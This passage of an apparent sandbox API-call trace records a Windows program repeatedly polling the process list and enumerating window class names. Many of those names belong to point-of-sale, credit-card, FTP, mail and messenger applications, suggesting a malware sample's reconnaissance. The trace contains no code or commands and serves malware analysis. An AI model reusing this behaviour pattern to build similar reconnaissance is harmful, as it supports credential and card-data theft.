lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.832] Sleep (dwMilliseconds=0x64) [0306.847] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0306.863] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0307.097] Sleep (dwMilliseconds=0x64) [0307.098] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0307.162] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0307.258] Sleep (dwMilliseconds=0x64) [0307.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0307.319] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0307.405] Sleep (dwMilliseconds=0x64) [0307.406] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0307.423] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0307.541] Sleep (dwMilliseconds=0x64) [0307.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0307.555] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0307.789] Sleep (dwMilliseconds=0x64) [0307.790] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0307.807] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0307.954] Sleep (dwMilliseconds=0x64) [0307.956] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0307.987] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.161] Sleep (dwMilliseconds=0x64) [0308.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0308.183] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.348] Sleep (dwMilliseconds=0x64) [0308.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0308.373] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.529] Sleep (dwMilliseconds=0x64) [0308.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0308.589] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0308.669] Sleep (dwMilliseconds=0x64) [0308.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0308.683] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0309.111] Sleep (dwMilliseconds=0x64) [0309.111] Sleep (dwMilliseconds=0x64) [0309.823] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0309.840] Process32First (in: hSnapshot=0x10d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 Thread: id = 54 os_tid = 0x1034 [0110.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) returned 1 [0110.673] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0110.674] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0110.674] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0110.674] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.674] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.674] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.674] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.674] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.674] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0110.674] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.674] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0110.674] GetClassNameA (in: hWnd=0x10176, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0110.674] GetClassNameA (in: hWnd=0x10168, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0110.674] GetClassNameA (in: hWnd=0x10158, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0110.675] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.675] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0110.675] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0110.675] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0110.675] GetClassNameA (in: hWnd=0x10184, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0110.675] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0110.675] GetClassNameA (in: hWnd=0x100ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.675] GetClassNameA (in: hWnd=0x10090, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.675] GetClassNameA (in: hWnd=0x10084, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.675] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.675] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.675] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.675] GetClassNameA (in: hWnd=0x100a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.675] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.676] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.676] GetClassNameA (in: hWnd=0x20078, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0110.676] GetClassNameA (in: hWnd=0x100c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0110.676] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0110.676] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.676] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0110.676] GetClassNameA (in: hWnd=0x30308, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0110.676] GetClassNameA (in: hWnd=0x20332, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-007CCDB8-956e40d") returned 28 [0110.676] GetClassNameA (in: hWnd=0x40194, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0110.676] GetClassNameA (in: hWnd=0x5020c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.676] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="often_far_on_cls") returned 16 [0110.676] GetClassNameA (in: hWnd=0x10378, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="utg2_class") returned 10 [0110.676] GetClassNameA (in: hWnd=0x20210, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Senseunderstandwnd") returned 18 [0110.677] GetClassNameA (in: hWnd=0x10374, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spgagentservice_cls") returned 19 [0110.677] GetClassNameA (in: hWnd=0x10342, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0110.677] GetClassNameA (in: hWnd=0x10370, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0110.677] GetClassNameA (in: hWnd=0x10362, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="isspos_class") returned 12 [0110.677] GetClassNameA (in: hWnd=0x10334, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="active-charge_wnd") returned 17 [0110.677] GetClassNameA (in: hWnd=0x10366, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="mxslipstreamcls") returned 15 [0110.677] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="omnipos_wnd") returned 11 [0110.677] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fpos_cls") returned 8 [0110.677] GetClassNameA (in: hWnd=0x1032c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="winscp_") returned 7 [0110.677] GetClassNameA (in: hWnd=0x10356, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="edcsvr_app") returned 10 [0110.677] GetClassNameA (in: hWnd=0x10352, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="creditservice_class") returned 19 [0110.677] GetClassNameA (in: hWnd=0x10326, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_class") returned 20 [0110.677] GetClassNameA (in: hWnd=0x10388, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0110.677] GetClassNameA (in: hWnd=0x10316, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0110.677] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ccv_server_") returned 11 [0110.677] GetClassNameA (in: hWnd=0x10348, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="centralcreditcardwnd") returned 20 [0110.677] GetClassNameA (in: hWnd=0x10310, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="trillian_cls") returned 12 [0110.677] GetClassNameA (in: hWnd=0x10340, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="aldelowin") returned 9 [0110.678] GetClassNameA (in: hWnd=0x1030c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="smartftpcls") returned 11 [0110.678] GetClassNameA (in: hWnd=0x10336, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="accuposwin") returned 10 [0110.678] GetClassNameA (in: hWnd=0x10300, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="skype_win") returned 9 [0110.678] GetClassNameA (in: hWnd=0x10320, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="whatsappwindow") returned 14 [0110.678] GetClassNameA (in: hWnd=0x10312, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0110.678] GetClassNameA (in: hWnd=0x10302, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="scriptftpwindow") returned 15 [0110.678] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="outlook_win") returned 11 [0110.678] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="leechftp_class") returned 14 [0110.678] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="pidginwnd") returned 9 [0110.678] GetClassNameA (in: hWnd=0x102da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0110.678] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="operamail_cls") returned 13 [0110.678] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ncftpapp") returned 8 [0110.678] GetClassNameA (in: hWnd=0x102c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="flashfxp_win") returned 12 [0110.678] GetClassNameA (in: hWnd=0x102e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="notepad_win") returned 11 [0110.678] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="filezilla_") returned 10 [0110.678] GetClassNameA (in: hWnd=0x102ce, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="gmailnotifierpro_class") returned 22 [0110.679] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_win") returned 18 [0110.679] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0110.679] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fling_") returned 6 [0110.679] GetClassNameA (in: hWnd=0x102ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coreftpclass") returned 12 [0110.679] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="farwnd") returned 6 [0110.679] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="bitkinex_wnd") returned 12 [0110.679] GetClassNameA (in: hWnd=0x102a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0110.679] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="3dftp_app") returned 9 [0110.679] GetClassNameA (in: hWnd=0x1029a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_window") returned 21 [0110.679] GetClassNameA (in: hWnd=0x10282, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Hundredmarriageclass") returned 20 [0110.679] GetClassNameA (in: hWnd=0x10272, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="causewnd") returned 8 [0110.679] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="walloil") returned 7 [0110.679] GetClassNameA (in: hWnd=0x10280, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="stock_Decide_Improve_cls") returned 24 [0110.679] GetClassNameA (in: hWnd=0x10270, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Green_hard_wind_wnd") returned 19 [0110.679] GetClassNameA (in: hWnd=0x10256, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="his_window") returned 10 [0110.679] GetClassNameA (in: hWnd=0x10254, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ProductRepublicanamountclass") returned 28 [0110.679] GetClassNameA (in: hWnd=0x10250, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="if_return_class") returned 15 [0110.679] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="FiveAddToowindow") returned 16 [0110.680] GetClassNameA (in: hWnd=0x10226, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="YardBeclass") returned 11 [0110.680] GetClassNameA (in: hWnd=0x10240, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="sourcewindow") returned 12 [0110.680] GetClassNameA (in: hWnd=0x10220, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shothotwnd") returned 10 [0110.680] GetClassNameA (in: hWnd=0x10242, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="on_Walk_cls") returned 11 [0110.680] GetClassNameA (in: hWnd=0x10234, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="chanceEverybodyemployeeclass") returned 28 [0110.680] GetClassNameA (in: hWnd=0x10236, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="right_Forget_win") returned 16 [0110.680] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coursesimilarAreacls") returned 20 [0110.680] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Instead_able_light_wnd") returned 22 [0110.680] GetClassNameA (in: hWnd=0x10218, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Account_") returned 8 [0110.680] GetClassNameA (in: hWnd=0x10216, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Task") returned 4 [0110.680] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplyOurstrategy") returned 16 [0110.680] GetClassNameA (in: hWnd=0x2013c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.680] GetClassNameA (in: hWnd=0x2012c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.680] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.680] GetClassNameA (in: hWnd=0x20132, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.680] GetClassNameA (in: hWnd=0x3002c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0110.680] GetClassNameA (in: hWnd=0x701f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.681] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x501e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0110.681] GetClassNameA (in: hWnd=0x20144, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0110.681] GetClassNameA (in: hWnd=0x400f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0110.681] GetClassNameA (in: hWnd=0x801ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x401fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0110.681] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0110.681] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0110.681] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.681] GetClassNameA (in: hWnd=0x10148, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0110.681] GetClassNameA (in: hWnd=0x10118, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0110.682] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.682] GetClassNameA (in: hWnd=0x10116, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0110.682] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.682] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.682] GetClassNameA (in: hWnd=0x10114, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0110.682] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0110.682] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0110.682] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0110.682] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.682] GetClassNameA (in: hWnd=0x100e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.682] GetClassNameA (in: hWnd=0x100de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.682] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0110.682] GetClassNameA (in: hWnd=0x100be, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0110.682] GetClassNameA (in: hWnd=0xb033e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0110.682] GetClassNameA (in: hWnd=0x20020, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0110.682] GetClassNameA (in: hWnd=0x30016, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0110.682] GetClassNameA (in: hWnd=0x20028, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0110.683] GetClassNameA (in: hWnd=0x2004a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0110.683] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0110.683] GetClassNameA (in: hWnd=0x10072, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0110.683] GetClassNameA (in: hWnd=0x1006e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0110.683] GetClassNameA (in: hWnd=0x10022, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0110.683] GetClassNameA (in: hWnd=0x10192, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0110.683] GetClassNameA (in: hWnd=0x3030e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0110.683] GetClassNameA (in: hWnd=0x100cc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0110.683] GetClassNameA (in: hWnd=0x10136, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.683] GetClassNameA (in: hWnd=0x10178, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.683] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.683] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x10186, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0110.684] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x30296, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x103a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0110.684] GetClassNameA (in: 